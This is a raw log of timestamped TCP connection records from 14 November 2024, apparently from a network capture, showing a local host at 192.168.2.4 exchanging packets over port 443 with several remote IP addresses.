Nov 14, 2024 20:43:28.930458069 CET	49877	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.930505037 CET	443	49877	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.930917025 CET	49877	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.931747913 CET	49877	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.931763887 CET	443	49877	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.020591974 CET	443	49872	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.021255970 CET	49872	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.021281004 CET	443	49872	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.022092104 CET	49872	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.022099972 CET	443	49872	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.025368929 CET	443	49873	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.025857925 CET	49873	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.025881052 CET	443	49873	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.026721954 CET	49873	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.026730061 CET	443	49873	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.027930021 CET	443	49874	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.028307915 CET	49874	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.028326988 CET	443	49874	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.029045105 CET	49874	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.029051065 CET	443	49874	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.049886942 CET	443	49871	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:29.051302910 CET	49871	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:29.051314116 CET	443	49871	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:29.051839113 CET	443	49871	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:29.051909924 CET	49871	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:29.052834988 CET	443	49871	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:29.052896976 CET	49871	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:29.053272963 CET	49871	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:29.053355932 CET	443	49871	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:29.053512096 CET	49871	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:29.053520918 CET	443	49871	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:29.053565025 CET	49871	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:29.076059103 CET	443	49875	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.099332094 CET	443	49871	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:29.099607944 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.106549025 CET	49871	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:29.120134115 CET	49875	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.120223045 CET	443	49875	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.120939016 CET	49875	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.120994091 CET	443	49875	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.152585030 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.152601004 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.159503937 CET	443	49873	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.159708977 CET	443	49873	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.159775972 CET	49873	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.163538933 CET	443	49874	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.163691044 CET	443	49874	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.163858891 CET	49874	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.169074059 CET	443	49872	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.171050072 CET	443	49872	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.171118021 CET	49872	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.175060034 CET	49873	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.175080061 CET	443	49873	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.175107002 CET	49873	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.175118923 CET	443	49873	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.176531076 CET	49874	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.176532030 CET	49874	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.176584959 CET	443	49874	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.176615953 CET	443	49874	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.177844048 CET	49872	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.177850962 CET	443	49872	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.177865028 CET	49872	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.177871943 CET	443	49872	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.198647976 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.217192888 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.217209101 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.217257977 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.217291117 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.217346907 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.217374086 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.217386007 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.217400074 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.217400074 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.217400074 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.217417002 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.217427969 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.247284889 CET	443	49875	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.247750998 CET	443	49875	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.247837067 CET	49875	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.248538017 CET	443	49876	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.297086000 CET	49876	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.304656029 CET	49876	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.304677963 CET	443	49876	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.305680037 CET	49875	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.305680037 CET	49875	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.305747032 CET	443	49875	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.305780888 CET	443	49875	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.306010962 CET	443	49876	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.340473890 CET	49876	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.340976000 CET	443	49876	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.340981007 CET	49876	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.347129107 CET	443	49871	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:29.357742071 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.357749939 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.357809067 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.357832909 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.357886076 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.357897043 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.357909918 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.357932091 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.357934952 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.357948065 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.357973099 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.358045101 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.358083010 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.360599995 CET	49878	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.360622883 CET	443	49878	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.360673904 CET	49878	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.362404108 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.362412930 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.375108957 CET	49879	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.375152111 CET	443	49879	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.375202894 CET	49879	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.383347034 CET	443	49876	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.386478901 CET	49878	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.386497974 CET	443	49878	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.389152050 CET	49880	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.389195919 CET	443	49880	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.389267921 CET	49880	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.389393091 CET	49880	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.389410019 CET	443	49880	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.390839100 CET	49876	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.390856028 CET	49871	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:29.390880108 CET	443	49871	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:29.391490936 CET	49881	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.391520023 CET	443	49881	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.391566038 CET	49881	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.394490004 CET	49879	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.394509077 CET	443	49879	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.401017904 CET	49871	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:29.401084900 CET	443	49871	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:29.401139975 CET	49871	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:29.402569056 CET	49881	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.402585983 CET	443	49881	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.468169928 CET	49882	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:29.468257904 CET	443	49882	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:29.468346119 CET	49882	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:29.469286919 CET	49882	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:29.469325066 CET	443	49882	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:29.484137058 CET	49883	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.484169960 CET	443	49883	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.484236002 CET	49883	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.485212088 CET	49883	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:29.485240936 CET	443	49883	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:29.735218048 CET	443	49877	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.735670090 CET	49877	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.735728025 CET	443	49877	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.737664938 CET	49877	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.737687111 CET	443	49877	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.887646914 CET	443	49877	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.887725115 CET	443	49877	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.887774944 CET	49877	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.888016939 CET	49877	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.888035059 CET	443	49877	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.888050079 CET	49877	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.888056993 CET	443	49877	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.891450882 CET	49884	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.891537905 CET	443	49884	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:29.891624928 CET	49884	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.891818047 CET	49884	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:29.891859055 CET	443	49884	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.141869068 CET	443	49879	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.144511938 CET	49879	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.144577980 CET	443	49879	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.145399094 CET	49879	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.145417929 CET	443	49879	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.146123886 CET	443	49878	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.146486044 CET	49878	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.146502018 CET	443	49878	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.147141933 CET	49878	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.147145987 CET	443	49878	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.147295952 CET	443	49880	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.147696972 CET	49880	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.147757053 CET	443	49880	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.148380041 CET	49880	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.148396969 CET	443	49880	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.180499077 CET	443	49881	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.181042910 CET	49881	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.181060076 CET	443	49881	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.181627035 CET	49881	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.181631088 CET	443	49881	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.271239996 CET	443	49879	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.271894932 CET	443	49879	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.272005081 CET	49879	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.272052050 CET	49879	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.272075891 CET	443	49879	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.272090912 CET	49879	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.272099018 CET	443	49879	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.274517059 CET	49885	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.274552107 CET	443	49885	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.274641991 CET	49885	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.274797916 CET	49885	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.274807930 CET	443	49885	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.277043104 CET	443	49880	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.277188063 CET	443	49880	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.277299881 CET	49880	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.277401924 CET	49880	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.277401924 CET	49880	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.277439117 CET	443	49880	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.277462006 CET	443	49880	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.278734922 CET	443	49878	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.279225111 CET	49886	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.279310942 CET	443	49886	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.279397011 CET	49886	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.279597044 CET	49886	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.279633999 CET	443	49886	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.279898882 CET	443	49878	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.279957056 CET	49878	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.279972076 CET	49878	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.279983997 CET	443	49878	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.279995918 CET	49878	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.280000925 CET	443	49878	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.282054901 CET	49887	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.282063007 CET	443	49887	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.282180071 CET	49887	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.283396006 CET	49887	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.283405066 CET	443	49887	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.310709953 CET	443	49881	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.310858011 CET	443	49881	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.311079025 CET	49881	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.311311007 CET	49881	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.311328888 CET	443	49881	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.311343908 CET	49881	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.311347961 CET	443	49881	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.313121080 CET	49888	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.313206911 CET	443	49888	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.313292027 CET	49888	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.313448906 CET	49888	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.313487053 CET	443	49888	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.322617054 CET	443	49882	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:30.335644960 CET	49882	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:30.335710049 CET	443	49882	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:30.336146116 CET	443	49876	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:30.336309910 CET	443	49876	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:30.336389065 CET	49876	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:30.337002993 CET	443	49882	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:30.337085962 CET	49882	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:30.338794947 CET	49876	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:30.338794947 CET	49876	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:30.338828087 CET	443	49876	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:30.338874102 CET	49876	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:30.339560032 CET	443	49882	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:30.339633942 CET	49882	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:30.340080976 CET	49882	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:30.340195894 CET	49882	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:30.340220928 CET	443	49882	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:30.340269089 CET	443	49882	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:30.384825945 CET	443	49883	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:30.385169029 CET	49883	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:30.385234118 CET	443	49883	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:30.388792992 CET	443	49883	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:30.388870955 CET	49883	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:30.389480114 CET	49883	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:30.389667034 CET	443	49883	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:30.389715910 CET	49883	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:30.392788887 CET	49882	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:30.392852068 CET	443	49882	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:30.431351900 CET	443	49883	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:30.439085960 CET	49883	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:30.439148903 CET	443	49883	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:30.439156055 CET	49882	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:30.486462116 CET	49883	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:30.615304947 CET	443	49882	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:30.615341902 CET	443	49882	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:30.615470886 CET	49882	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:30.615535975 CET	443	49882	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:30.617362022 CET	49882	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:30.617494106 CET	443	49882	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:30.617625952 CET	49882	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:30.628756046 CET	443	49884	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.629157066 CET	49884	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.629200935 CET	443	49884	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.629609108 CET	49884	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.629623890 CET	443	49884	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.657361984 CET	443	49883	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:30.657515049 CET	443	49883	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:30.657636881 CET	49883	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:30.658516884 CET	49883	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:30.658518076 CET	49883	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:30.658556938 CET	443	49883	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:30.658620119 CET	49883	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:30.762681007 CET	443	49884	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.762757063 CET	443	49884	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.762826920 CET	49884	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.762986898 CET	49884	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.763025999 CET	443	49884	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.763056993 CET	49884	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.763072014 CET	443	49884	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.765623093 CET	49889	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.765666008 CET	443	49889	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.765731096 CET	49889	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.765842915 CET	49889	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:30.765860081 CET	443	49889	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:30.874902964 CET	49890	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:30.874954939 CET	443	49890	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:30.875024080 CET	49890	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:30.875360966 CET	49891	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:30.875385046 CET	443	49891	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:30.875549078 CET	49891	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:30.875593901 CET	49890	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:30.875610113 CET	443	49890	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:30.875808954 CET	49891	443	192.168.2.4	103.114.163.132
Nov 14, 2024 20:43:30.875828028 CET	443	49891	103.114.163.132	192.168.2.4
Nov 14, 2024 20:43:31.017151117 CET	443	49885	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.018629074 CET	49885	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.018645048 CET	443	49885	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.019249916 CET	49885	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.019254923 CET	443	49885	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.024691105 CET	443	49886	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.025136948 CET	49886	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.025218964 CET	443	49886	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.025767088 CET	49886	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.025784969 CET	443	49886	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.083034992 CET	443	49888	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.086731911 CET	49888	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.086812973 CET	443	49888	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.087332964 CET	49888	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.087347984 CET	443	49888	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.091418982 CET	443	49887	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.092160940 CET	49887	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.092173100 CET	443	49887	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.092602015 CET	49887	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.092605114 CET	443	49887	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.147193909 CET	443	49885	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.147408009 CET	443	49885	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.147758961 CET	49885	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.153794050 CET	443	49886	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.153983116 CET	443	49886	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.154079914 CET	49886	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.185267925 CET	49885	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.185290098 CET	443	49885	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.186142921 CET	49885	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.186148882 CET	443	49885	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.186189890 CET	49886	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.186191082 CET	49886	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:31.186258078 CET	443	49886	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.186295986 CET	443	49886	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.222507000 CET	443	49887	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.222656012 CET	443	49887	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:31.222793102 CET	49887	443	192.168.2.4	13.107.246.45
